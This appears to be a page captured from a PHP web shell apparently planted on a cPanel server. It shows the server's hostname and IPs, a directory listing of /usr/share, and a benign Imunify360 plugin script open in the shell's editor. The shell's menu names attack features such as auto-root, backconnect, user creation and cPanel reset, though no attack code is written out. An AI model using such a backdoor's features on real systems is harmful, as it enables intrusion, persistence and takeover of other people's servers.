Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.149.25.26
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
[ HOME SHELL ]
Name
Size
Permission
Action
GeoIP
[ DIR ]
drwxr-xr-x
ImageMagick-6
[ DIR ]
drwxr-xr-x
X11
[ DIR ]
drwxr-xr-x
abrt
[ DIR ]
drwxr-xr-x
aclocal
[ DIR ]
drwxr-xr-x
aclocal-1.13
[ DIR ]
drwxr-xr-x
adobe
[ DIR ]
drwxr-xr-x
anaconda
[ DIR ]
drwxr-xr-x
apache2
[ DIR ]
drwxr-xr-x
appdata
[ DIR ]
drwxr-xr-x
applications
[ DIR ]
drwxr-xr-x
augeas
[ DIR ]
drwxr-xr-x
autoconf
[ DIR ]
drwxr-xr-x
automake-1.13
[ DIR ]
drwxr-xr-x
awk
[ DIR ]
drwxr-xr-x
backgrounds
[ DIR ]
drwxr-xr-x
bash-completion
[ DIR ]
drwxr-xr-x
bison
[ DIR ]
drwxr-xr-x
centos-logos
[ DIR ]
drwxr-xr-x
centos-release
[ DIR ]
drwxr-xr-x
cloudlinux-linksafe
[ DIR ]
drwxr-xr-x
collectd
[ DIR ]
drwxr-xr-x
cracklib
[ DIR ]
drwxr-xr-x
dbus-1
[ DIR ]
drwxr-xr-x
desktop-directories
[ DIR ]
drwxr-xr-x
dict
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
dpkg
[ DIR ]
drwxr-xr-x
egl
[ DIR ]
drwxr-xr-x
emacs
[ DIR ]
drwxr-xr-x
empty
[ DIR ]
dr-xr-xr-x
enchant
[ DIR ]
drwxr-xr-x
et
[ DIR ]
drwxr-xr-x
euca2ools
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
firewalld
[ DIR ]
drwxr-xr-x
firstboot
[ DIR ]
drwxr-xr-x
fontconfig
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
games
[ DIR ]
drwxr-xr-x
gcc-4.8.2
[ DIR ]
drwxr-xr-x
gcc-4.8.5
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
gettext
[ DIR ]
drwxr-xr-x
gettext-0.19.8
[ DIR ]
drwxr-xr-x
ghostscript
[ DIR ]
drwxr-xr-x
git-core
[ DIR ]
drwxr-xr-x
glib-2.0
[ DIR ]
drwxr-xr-x
glusterfs
[ DIR ]
drwxr-xr-x
glvnd
[ DIR ]
drwxr-xr-x
gnome
[ DIR ]
drwxr-xr-x
gnome-background-properties
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
groff
[ DIR ]
drwxr-xr-x
grub
[ DIR ]
drwxr-xr-x
gtk-doc
[ DIR ]
drwxr-xr-x
hwdata
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
icons
[ DIR ]
drwxr-xr-x
idl
[ DIR ]
drwxr-xr-x
imunify-notifier
[ DIR ]
drwxr-xr-x
imunify360
[ DIR ]
drwxr-xr-x
info
[ DIR ]
drwxr-xr-x
kde4
[ DIR ]
drwxr-xr-x
kdump
[ DIR ]
drwxr-xr-x
keyutils
[ DIR ]
drwxr-xr-x
langtable
[ DIR ]
drwxr-xr-x
libdrm
[ DIR ]
drwxr-xr-x
libreport
[ DIR ]
drwxr-xr-x
libthai
[ DIR ]
drwxr-xr-x
libtool
[ DIR ]
drwxr-xr-x
libwmf
[ DIR ]
drwxr-xr-x
licenses
[ DIR ]
drwxr-xr-x
locale
[ DIR ]
drwxr-xr-x
lua
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mdadm
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
mime
[ DIR ]
drwxr-xr-x
mime-info
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
myspell
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
nano
[ DIR ]
drwxr-xr-x
omf
[ DIR ]
drwxr-xr-x
os-prober
[ DIR ]
drwxr-xr-x
p11-kit
[ DIR ]
drwxr-xr-x
perl5
[ DIR ]
drwxr-xr-x
pixmaps
[ DIR ]
drwxr-xr-x
pkgconfig
[ DIR ]
drwxr-xr-x
pki
[ DIR ]
drwxr-xr-x
plymouth
[ DIR ]
drwxr-xr-x
polkit-1
[ DIR ]
drwxr-xr-x
qemu-kvm
[ DIR ]
drwxr-xr-x
redhat-release
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
setools-3.3
[ DIR ]
drwxr-xr-x
setuptool
[ DIR ]
drwxr-xr-x
smartmontools
[ DIR ]
drwxr-xr-x
snmp
[ DIR ]
drwxr-xr-x
sos
[ DIR ]
drwxr-xr-x
sounds
[ DIR ]
drwxr-xr-x
systemd
[ DIR ]
drwxr-xr-x
systemtap
[ DIR ]
drwxr-xr-x
tabset
[ DIR ]
drwxr-xr-x
tcl8
[ DIR ]
drwxr-xr-x
tcl8.5
[ DIR ]
drwxr-xr-x
terminfo
[ DIR ]
drwxr-xr-x
themes
[ DIR ]
drwxr-xr-x
thumbnailers
[ DIR ]
drwxr-xr-x
tk8.5
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
usb_modeswitch
[ DIR ]
drwxr-xr-x
vim
[ DIR ]
drwxr-xr-x
wallpapers
[ DIR ]
drwxr-xr-x
xml
[ DIR ]
drwxr-xr-x
xsessions
[ DIR ]
drwxr-xr-x
yum-cli
[ DIR ]
drwxr-xr-x
yum-plugins
[ DIR ]
drwxr-xr-x
zoneinfo
[ DIR ]
drwxr-xr-x
zsh
[ DIR ]
drwxr-xr-x
av-userside-plugin.sh
4.73
KB
-rwxr--r--
magic
609.94
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : av-userside-plugin.sh
#!/bin/bash DIRECTADMIN_PLUGIN="/usr/local/directadmin/plugins/Imunify" CPANEL_PLUGIN="/usr/local/cpanel/base/frontend/jupiter/imunify" USERSIDE_PLUGIN_FLAG="/var/imunify360/av-userside-plugin.installed" # Get the name of installed panel get_panel() { if [ -e /usr/local/cpanel/cpanel ]; then printf "cpanel\n" elif [ -e /usr/local/directadmin/directadmin ]; then printf "directadmin\n" elif [ -e /usr/sbin/plesk ]; then printf "plesk\n" else return 1 fi } install_cpanel() { local conf_dir="antivirus_conf" if [[ "${1}" == "360" ]]; then if [[ -f /var/imunify360/myimunify-freemium.flag ]]; then conf_dir="myimunify_conf" else conf_dir="conf" fi fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") if [[ "${theme}" != "jupiter" ]]; then mkdir -p "/usr/local/cpanel/base/frontend/${theme}/imunify" cp -a "${CPANEL_PLUGIN}" "/usr/local/cpanel/base/frontend/${theme}" fi /usr/local/cpanel/scripts/install_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" done touch "${USERSIDE_PLUGIN_FLAG}" } install_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${disabled_plugin}" ]] && [[ -n "$(ls -A "${disabled_plugin}")" ]]; then rm -rf "${enabled_plugin}" mv "${disabled_plugin}" "${enabled_plugin}" fi touch "${USERSIDE_PLUGIN_FLAG}" } install_plesk() { if [[ ! -e "${USERSIDE_PLUGIN_FLAG}" ]]; then touch "${USERSIDE_PLUGIN_FLAG}" fi } remove_cpanel() { local conf_dir="antivirus_conf" if [[ "${1}" == "360" ]]; then conf_dir="conf" fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") /usr/local/cpanel/scripts/uninstall_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" if [[ -d "/usr/local/cpanel/base/frontend/${theme}/imunify" ]]; then rm -rf "/usr/local/cpanel/base/frontend/${theme}/imunify" fi done rm -f "${USERSIDE_PLUGIN_FLAG}" } remove_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${enabled_plugin}" ]] && [[ -n "$(ls -A "${enabled_plugin}")" ]]; then rm -rf "${disabled_plugin}" mv "${enabled_plugin}" "${disabled_plugin}" fi rm -f "${USERSIDE_PLUGIN_FLAG}" } remove_plesk() { if [[ -e "${USERSIDE_PLUGIN_FLAG}" ]]; then rm -f "${USERSIDE_PLUGIN_FLAG}" fi } update_cpanel() { if [[ -e "${USERSIDE_PLUGIN_FLAG}" ]]; then install_cpanel "${1}" else printf "User-side plugin is not installed. Skipping update...\n" fi } update_directadmin() { if [[ ! -e "${USERSIDE_PLUGIN_FLAG}" ]] && [[ -e "${DIRECTADMIN_PLUGIN}/user" ]]; then remove_directadmin fi } update_plesk() { install_plesk } update_package_config_cpanel() { for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") local theme_path="/usr/local/cpanel/base/frontend/${theme}/imunify/assets/js/config.js" if [[ -f "${theme_path}" ]]; then if ! grep -q "IMUNIFY_PACKAGE" "${theme_path}"; then printf "var IMUNIFY_PACKAGE = '360'\n" > "${theme_path}" else sed -i -E "s/IMUNIFY_PACKAGE = 'AV'/IMUNIFY_PACKAGE = '360'/" "${theme_path}" fi fi done } update_package_config_directadmin() { install_directadmin } update_package_config_plesk() { printf "Updating package config for Plesk is not implemented.\n" } main() { local panel; panel=$(get_panel) if [[ -z "${panel}" ]]; then printf "Detected panel doesn't support av user side plugin\n" exit 0 fi local package="AV" for arg in "$@"; do if [[ "$arg" =~ ^package= ]]; then package="${arg#*=}" fi done case "${1}" in "-r") "remove_${panel}" "$package" ;; "-u") "update_${panel}" "$package" ;; "-update-package") "update_package_config_${panel}" ;; "-i") "install_${panel}" "$package" ;; "") "install_${panel}" "AV" ;; *) printf "Unrecognized option: %s\n" "${1}" exit 1 ;; esac } main "$@"
Close